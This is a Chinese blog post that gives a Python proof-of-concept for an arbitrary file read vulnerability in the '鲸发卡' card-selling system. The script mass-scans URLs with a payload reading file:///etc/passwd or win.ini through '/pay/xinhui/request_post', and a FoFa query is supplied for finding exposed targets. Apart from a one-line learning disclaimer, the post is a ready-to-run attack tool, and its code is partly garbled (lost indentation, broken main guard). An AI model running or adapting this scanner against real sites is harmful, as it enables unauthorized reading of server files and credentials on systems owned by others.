首页 > 其他分享 >[武器化学习] 鲸发卡系统虚拟卡系统任意文件读取漏洞poc

[武器化学习] 鲸发卡系统虚拟卡系统任意文件读取漏洞poc

时间:2024-07-13 12:18:54浏览次数:12  
标签:txt signal targets 发卡 result print import 武器化 poc

!/usr/bin/env python3

import requests
from termcolor import colored
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor, as_completed ,CancelledError
import os
import signal
import sys

print('''

本程序仅用于交流学习使用,任何未经授权的渗透测试都是违法行为

/| __ __ ___ .....
|| | |/ .' . _ _ .-'' '.
|| | .-. .-. ' /\ \ /// .-''"'-. . || __ __ | | | | | | \ //\ /// /\ \
||/'
'. .:--.'. | | | | | | _ `// '/ | |
|:/ '. '/ | \ || | | | | | | ' / |\| |/ \ .-------------' || | |" __ | || | | | | |.' | .' | ' \ '-.
___...---.
||\ / ' .'.''| ||
| |
| |
|/ | / | . .' |/\'..' / / / | |_ | '. | ''-...... -' ' '-' \ \._,\ '/ ' .'| '/ --' " -' `--' https://github.com/bamuwe
''')
print("漏洞名称:鲸发卡系统虚拟卡系统任意文件读取漏洞\n")

for filename in ['urls.txt', 'result.txt']:
if not os.path.exists(filename):
with open(filename, 'w') as f:
print(f"[*] Created successfully {filename}")

print(r'[!] Usage : echo 'http://example.com' > urls.txt && python3 poc.py')
print('[!] FoFa = "/static/theme/maowang51/css/style.css" && status_code="200" && country="CN"')
print()

if not os.path.exists('urls.txt'):
print('urls.txt is empty')
exit(0)

should_stop = False
def signal_handler(sig, frame):
global should_stop
should_stop = True
print("\nInterrupt signal received and trying to stop the program...")
sys.exit(0)

signal.signal(signal.SIGINT, signal_handler)

处理每个目标URL的函数

def process_target(target):
try:
response = requests.get(target)
if response.status_code == 200 and ('root' in response.text or 'for' in response.text):
return target
except requests.RequestException as e:
pass

def main():
global SuccessCount
SuccessCount = 1

with open('urls.txt') as fi:
    targets = [line.strip() + '/pay/xinhui/request_post?url=file:///etc/passwd&post_data[1]=aaa' for line in fi]
    targets_windows = [line.strip() + '/pay/xinhui/request_post?url=file:///C:/windows/win.ini&post_data[1]=aaa' for line in fi]

pbar = tqdm(total=len(targets + targets_windows), desc='process')

with ThreadPoolExecutor(max_workers=20) as executor:
        futures = []
        for target in targets + targets_windows:
            future = executor.submit(process_target, target)
            future.add_done_callback(lambda p: pbar.update())
            futures.append(future)

        for future in as_completed(futures):
            if should_stop:
                try:
                    future.cancel()
                except CancelledError:
                    pass
                continue
            result = future.result()
            if result:
                pbar.write(colored(f"{SuccessCount}. {result} Vulnerable", 'green'))
                with open('result.txt', 'a') as f:
                    f.write(result + '\n')
                SuccessCount += 1

pbar.close()
print(colored(f"All targets have been processed {SuccessCount-1} vulnerable targets found", 'cyan'))

if name == 'main':
main()

标签:txt,signal,targets,发卡,result,print,import,武器化,poc
From: https://www.cnblogs.com/bamuwe/p/18299925

相关文章

  • 自动发卡平台 - iDataRiver
    iDataRiver自助发卡网是一家提供USDT收款和提现的卡密平台,全球18种语言支持,内置分销代理销售,商家可自定义收款方式,费率低至1%。如果需要搭建发卡独立站,请查看无需服务器,零成本搭建发卡/数字商品独立站商户入驻指南https://docs.idatariver.com/zh/guide/04.01.merchant.html......
  • telegram发卡机器人
    iDataRiver是一家提供telegram发卡机器人的发卡平台。商家上架商品后,自动获得平台提供的免费telegram发卡机器人。如果希望将机器人头像/名称设置成自己的,也支持自定义tg发卡机器人(收费)。自定义telegram机器人还提供了消息群发的功能,以及群发数据统计。入驻文档https://doc......
  • 发卡网收益如何usdt提现
    iDataRiver是一家支持直接使用加密货币USDT提现的发卡平台,支持TRON(波场)、BSC(币安)、ETH(以太坊)区块链。由于iDataRiver天然的web3属性,加密货币拥有第一原生地位,不仅用户无需支付额外费率,商户在提现时也不会有损耗。商户可以直接在iDataRiver上销售自己的数字商品,或者免费......
  • Hacknos-Player V1.1打靶渗透【附POC】
    1.信息收集:1.1.主机扫描nmap-sn'192.168.7.0/24'|grep-B2'08:00:27:C9:02:09'1.2.端口扫描80、3306nmap-p-192.168.7.991.3.目录扫描dirsearch-u192.168.7.991.4.操作系统等敏感信息查看2.漏洞扫描+漏洞利用2.1.老规矩,进入主页点击可能存在......
  • C# 轻量级 ORM 框架 NPoco 的简单应用
    目录简介快速入门安装NuGet包实体类User数据库类DbFactory增删改查InsertSelectUpdateDelete总结简介NPoco是PetaPoco的一个分支,具有一些额外的功能,截至现在github星数839。NPoco中文资料没多少,我是被博客园群友推荐的,这几天简单尝试了一下:github:https://github.com......
  • 免费部署发卡独立站,搭建属于个人的数字商品销售网站
    本文介绍如何使用开源项目,零成本,无需服务器的方式搭建一套自己的数字商品/发卡独立站,无需开发能力,即便是小白用户也能搭建。感兴趣可直接查看开源项目地址......
  • 关于airtest生成的报告中缺少poco语句问题
    1、airtest生成的报告只显示airtest的相关操作,如果是poco和airtest-selenium的操作则不记录。因此需要在报告中引用插件。支持poco语句插件,poco.utils.airtest.report支持airtest-selenium语句插件,airtest_selenium.report2、在IDE运行.py脚本报告生成的依据是脚本运行时保......
  • 【源码】企业发卡系统源码蓝色UI模板+商户+手机端+对接易支付+搭建教程
    企业发卡系统源码蓝色UI模板+商户+手机端+对接易支付,是基于Thinkphp5开发的后台管理系统,集成后台系统常用功能,拥有多用户,多支付通道对接功能,全响应式界面,简约易操作,一站式寄售卡系统。史上最强大的企业自动发卡平台,支持多用户入驻,后台功能超强大!支持虚拟卡密自动发卡,支持优......
  • (Java微服务项目实战)预付卡支付系统技术架构-发卡平台交易管理模块系统设计
    加入知识星球从0到1完成3个大型项目(从需求->系统设计->开发->再到生产环境部署)1项目介绍通过预付卡系统项目实战,**开发和产品设计人员能够对整体支付业务做到深入理解,**掌握各技术栈具体的业务应用场景,大型企业级项目业务分析、系统设计、代码实现的核心流程。并掌握......
  • 2.6倍!WhaleTunnel 客户POC实景对弈DataX
    作为阿里早期的开源产品,DataX是一款非常优秀的数据集成工具,普遍被用于多个数据源之间的批量同步,包括类似ApacheDolphinScheduler的Task类型也对DataX进行了适配和增强,可以直接在DolphinScheduler里面利用通用的数据源调用DataX进行数据批量同步。作为DolphinScheduler的社区支......